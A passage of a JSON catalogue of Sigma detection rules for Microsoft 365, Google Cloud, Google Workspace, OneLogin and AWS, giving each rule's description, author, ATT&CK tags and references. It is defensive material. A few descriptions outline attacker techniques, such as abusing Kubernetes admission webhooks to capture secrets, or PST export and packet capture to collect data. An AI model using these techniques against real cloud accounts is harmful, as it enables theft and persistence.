"https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf", "https://www.sygnia.co/golden-saml-advisory", "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", "https://o365blog.com/post/aadbackdoor/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_new_federated_domain_added.yml" ], "tags": [ "attack.persistence", "attack.t1136.003" ] }, "related": [ { "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "42127bdd-9133-474f-a6f1-97b6c08a4339", "value": "New Federated Domain Added" }, { "description": "Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "microsoft365_logon_from_risky_ip_address.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_logon_from_risky_ip_address.yml" ], "tags": [ "attack.initial_access", "attack.t1078" ] }, "uuid": "c191e2fa-f9d6-4ccf-82af-4f2aba08359f", "value": "Logon from a Risky IP Address" }, { "description": "Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365.This rule will apply to ExchangePowerShell usage and from the cloud.", "meta": { "author": "Nikita Khalimonenkov", "creation_date": "2022/11/17", "falsepositive": [ "Exporting a PST can be done for legitimate purposes by legitimate sources, but due to the sensitive nature of PST content, it must be monitored." ], "filename": "microsoft365_pst_export_alert_using_new_compliancesearchaction.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://learn.microsoft.com/en-us/powershell/module/exchange/new-compliancesearchaction?view=exchange-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_pst_export_alert_using_new_compliancesearchaction.yml" ], "tags": [ "attack.collection", "attack.t1114" ] }, "related": [ { "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6897cd82-6664-11ed-9022-0242ac120002", "value": "PST Export Alert Using New-ComplianceSearchAction" }, { "description": "Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.", "meta": { "author": "austinsonger", "creation_date": "2021/08/19", "falsepositive": [ "Unknown" ], "filename": "microsoft365_unusual_volume_of_file_deletion.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_unusual_volume_of_file_deletion.yml" ], "tags": [ "attack.impact", "attack.t1485" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "78a34b67-3c39-4886-8fb4-61c46dc18ecd", "value": "Microsoft 365 - Unusual Volume of File Deletion" }, { "description": "Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.", "meta": { "author": "austinsonger", "creation_date": "2021/08/19", "falsepositive": [ "Unknown" ], "filename": "microsoft365_user_restricted_from_sending_email.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_user_restricted_from_sending_email.yml" ], "tags": [ "attack.initial_access", "attack.t1199" ] }, "related": [ { "dest-uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ff246f56-7f24-402a-baca-b86540e3925c", "value": "Microsoft 365 - User Restricted from Sending Email" }, { "description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "microsoft365_susp_oauth_app_file_download_activities.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_oauth_app_file_download_activities.yml" ], "tags": [ "attack.exfiltration" ] }, "uuid": "ee111937-1fe7-40f0-962a-0eb44d57d174", "value": "Suspicious OAuth App File Download Activities" }, { "description": "Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2020/07/06", "falsepositive": [ "Unknown" ], "filename": "microsoft365_impossible_travel_activity.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_impossible_travel_activity.yml" ], "tags": [ "attack.initial_access", "attack.t1078" ] }, "uuid": "d7eab125-5f94-43df-8710-795b80fa1189", "value": "Microsoft 365 - Impossible Travel Activity" }, { "description": "Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.", "meta": { "author": "austinsonger", "creation_date": "2021/08/19", "falsepositive": [ "Unknown" ], "filename": "microsoft365_potential_ransomware_activity.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_potential_ransomware_activity.yml" ], "tags": [ "attack.impact", "attack.t1486" ] }, "related": [ { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bd132164-884a-48f1-aa2d-c6d646b04c69", "value": "Microsoft 365 - Potential Ransomware Activity" }, { "description": "Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content", "meta": { "author": "Sorina Ionescu", "creation_date": "2022/02/08", "falsepositive": [ "PST export can be done for legitimate purposes but due to the sensitive nature of its content it must be monitored." ], "filename": "microsoft365_pst_export_alert.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://learn.microsoft.com/en-us/microsoft-365/compliance/alert-policies?view=o365-worldwide", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_pst_export_alert.yml" ], "tags": [ "attack.collection", "attack.t1114" ] }, "related": [ { "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "18b88d08-d73e-4f21-bc25-4b9892a4fdd0", "value": "PST Export Alert Using eDiscovery Alert" }, { "description": "Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "microsoft365_activity_from_infrequent_country.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_infrequent_country.yml" ], "tags": [ "attack.command_and_control", "attack.t1573" ] }, "related": [ { "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0f2468a2-5055-4212-a368-7321198ee706", "value": "Activity from Infrequent Country" }, { "description": "Identifies when a DNS Zone is modified or deleted in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/15", "falsepositive": [ "Unknown" ], "filename": "gcp_dns_zone_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/dns/docs/reference/v1/managedZones", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dns_zone_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "28268a8f-191f-4c17-85b2-f5aa4fa829c3", "value": "Google Cloud DNS Zone Modified or Deleted" }, { "description": "Identifies when the Secrets are Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/09", "falsepositive": [ "Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_kubernetes_secrets_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_secrets_modified_or_deleted.yml" ], "tags": [ "attack.credential_access" ] }, "uuid": "2f0bae2d-bf20-4465-be86-1311addebaa3", "value": "Google Cloud Kubernetes Secrets Modified or Deleted" }, { "description": "Detect when a Cloud SQL DB has been modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/10/15", "falsepositive": [ "SQL Database being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_sql_database_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_sql_database_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "f346bbd5-2c4e-4789-a221-72de7685090d", "value": "Google Cloud SQL Database Modified or Deleted" }, { "description": "Identifies when a service account is modified in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/14", "falsepositive": [ "Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_service_account_modified.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_modified.yml" ], "tags": [ "attack.impact" ] }, "uuid": "6b67c12e-5e40-47c6-b3b0-1e6b571184cc", "value": "Google Cloud Service Account Modified" }, { "description": "Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/09", "falsepositive": [ "RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_kubernetes_rolebinding.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", "https://github.com/elastic/detection-rules/pull/1267", "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole", "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_rolebinding.yml" ], "tags": [ "attack.credential_access" ] }, "uuid": "0322d9f2-289a-47c2-b5e1-b63c90901a3e", "value": "Google Cloud Kubernetes RoleBinding" }, { "description": "Detects when storage bucket is enumerated in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/14", "falsepositive": [ "Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_bucket_enumeration.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/storage/docs/json_api/v1/buckets", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_enumeration.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "e2feb918-4e77-4608-9697-990a1aaf74c3", "value": "Google Cloud Storage Buckets Enumeration" }, { "description": "Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/11/22", "falsepositive": [ "Google Cloud Kubernetes CronJob/Job may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_kubernetes_cronjob.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", "https://kubernetes.io/docs/concepts/workloads/controllers/job/", "https://cloud.google.com/kubernetes-engine/docs", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_cronjob.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.execution" ] }, "uuid": "cd3a808c-c7b7-4c50-a2f3-f4cfcd436435", "value": "Google Cloud Kubernetes CronJob" }, { "description": "Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/16", "falsepositive": [ "VPN Tunnel being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "VPN Tunnel modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_vpn_tunnel_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://any-api.com/googleapis_com/compute/docs/vpnTunnels", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_vpn_tunnel_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "99980a85-3a61-43d3-ac0f-b68d6b4797b1", "value": "Google Cloud VPN Tunnel Modified or Deleted" }, { "description": "Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/13", "falsepositive": [ "Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.", "Exceptions can be added to this rule to filter expected behavior." ], "filename": "gcp_firewall_rule_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_firewall_rule_modified_or_deleted.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fe513c69-734c-4d4a-8548-ac5f609be82b", "value": "Google Cloud Firewall Modified or Deleted" }, { "description": "Identifies when sensitive information is re-identified in google Cloud.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/15", "falsepositive": [ "Unknown" ], "filename": "gcp_dlp_re_identifies_sensitive_information.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dlp_re_identifies_sensitive_information.yml" ], "tags": [ "attack.impact", "attack.t1565" ] }, "related": [ { "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "234f9f48-904b-4736-a34c-55d23919e4b7", "value": "Google Cloud Re-identifies Sensitive Information" }, { "description": "Identifies when an admission controller is executed in GCP Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/11/25", "falsepositive": [ "Google Cloud Kubernetes Admission Controller may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_kubernetes_admission_controller.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/kubernetes-engine/docs", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_admission_controller.yml" ], "tags": [ "attack.persistence", "attack.t1078", "attack.credential_access", "attack.t1552", "attack.t1552.007" ] }, "related": [ { "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6ad91e31-53df-4826-bd27-0166171c8040", "value": "Google Cloud Kubernetes Admission Controller" }, { "description": "Identifies when a service account is disabled or deleted in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/14", "falsepositive": [ "Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_service_account_disabled_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_disabled_or_deleted.yml" ], "tags": [ "attack.impact", "attack.t1531" ] }, "related": [ { "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "13f81a90-a69c-4fab-8f07-b5bb55416a9f", "value": "Google Cloud Service Account Disabled or Deleted" }, { "description": "Detects when storage bucket is modified or deleted in Google Cloud.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/14", "falsepositive": [ "Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_bucket_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/storage/docs/json_api/v1/buckets", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "4d9f2ee2-c903-48ab-b9c1-8c0f474913d0", "value": "Google Cloud Storage Buckets Modified or Deleted" }, { "description": "Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/13", "falsepositive": [ "Full Network Packet Capture may be done by a system or network administrator.", "If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "gcp_full_network_traffic_packet_capture.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_full_network_traffic_packet_capture.yml" ], "tags": [ "attack.collection", "attack.t1074" ] }, "related": [ { "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "980a7598-1e7f-4962-9372-2d754c930d0e", "value": "Google Full Network Traffic Packet Capture" }, { "description": "Detects when an an application is removed from Google Workspace.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/26", "falsepositive": [ "Application being removed may be performed by a System Administrator." ], "filename": "gworkspace_application_removed.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST", "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_application_removed.yml" ], "tags": [ "attack.impact" ] }, "uuid": "ee2803f0-71c8-4831-b48b-a1fc57601ee4", "value": "Google Workspace Application Removed" }, { "description": "Detects when an Google Workspace user is granted admin privileges.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/23", "falsepositive": [ "Google Workspace admin role privileges, may be modified by system administrators." ], "filename": "gworkspace_user_granted_admin_privileges.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_user_granted_admin_privileges.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2d1b83e4-17c6-4896-a37b-29140b40a788", "value": "Google Workspace User Granted Admin Privileges" }, { "description": "Detects when an a role is modified or deleted in Google Workspace.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/24", "falsepositive": [ "Unknown" ], "filename": "gworkspace_role_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "6aef64e3-60c6-4782-8db3-8448759c714e", "value": "Google Workspace Role Modified or Deleted" }, { "description": "Detects when an a role privilege is deleted in Google Workspace.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/24", "falsepositive": [ "Unknown" ], "filename": "gworkspace_role_privilege_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_privilege_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "bf638ef7-4d2d-44bb-a1dc-a238252e6267", "value": "Google Workspace Role Privilege Deleted" }, { "description": "Detects when multi-factor authentication (MFA) is disabled.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/26", "falsepositive": [ "MFA may be disabled and performed by a system administrator." ], "filename": "gworkspace_mfa_disabled.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION", "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_mfa_disabled.yml" ], "tags": [ "attack.impact" ] }, "uuid": "780601d1-6376-4f2a-884e-b8d45599f78c", "value": "Google Workspace MFA Disabled" }, { "description": "Detects when an API access service account is granted domain authority.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "gworkspace_granted_domain_api_access.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "google_workspace", "refs": [ "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_granted_domain_api_access.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "04e2a23a-9b29-4a5c-be3a-3542e3f982ba", "value": "Google Workspace Granted Domain API Access" }, { "description": "Detects when an user assumed another user account.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/10/12", "falsepositive": [ "Unknown" ], "filename": "onelogin_assumed_another_user.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "onelogin", "refs": [ "https://developers.onelogin.com/api-docs/1/events/event-resource", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml" ], "tags": [ "attack.impact" ] }, "uuid": "62fff148-278d-497e-8ecd-ad6083231a35", "value": "OneLogin User Assumed Another User" }, { "description": "Detects when an user account is locked or suspended.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/10/12", "falsepositive": [ "System may lock or suspend user accounts." ], "filename": "onelogin_user_account_locked.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "onelogin", "refs": [ "https://developers.onelogin.com/api-docs/1/events/event-resource/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_user_account_locked.yml" ], "tags": [ "attack.impact" ] }, "uuid": "a717c561-d117-437e-b2d9-0118a7035d01", "value": "OneLogin User Account Locked" }, { "description": "Detects when a user tampers with S3 data management in Amazon Web Services.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/07/24", "falsepositive": [ "A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "aws_s3_data_management_tampering.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "aws", "refs": [ "https://github.com/elastic/detection-rules/pull/1145/files", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_s3_data_management_tampering.yml" ], "tags": [ "attack.exfiltration", "attack.t1537" ] }, "related": [ { "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "78b3756a-7804-4ef7-8555-7b9024a02e2d", "value": "AWS S3 Data Management Tampering" }, { "description": "Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.\nDisabling default encryption does not change the encryption status of your existing volumes.\n", "meta": { "author": "Sittikorn S", "creation_date": "2021/06/29", "falsepositive": [ "System Administrator Activities", "DEV, UAT, SAT environment. You should apply this rule with PROD account only." ], "filename": "aws_ec2_disable_encryption.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "aws", 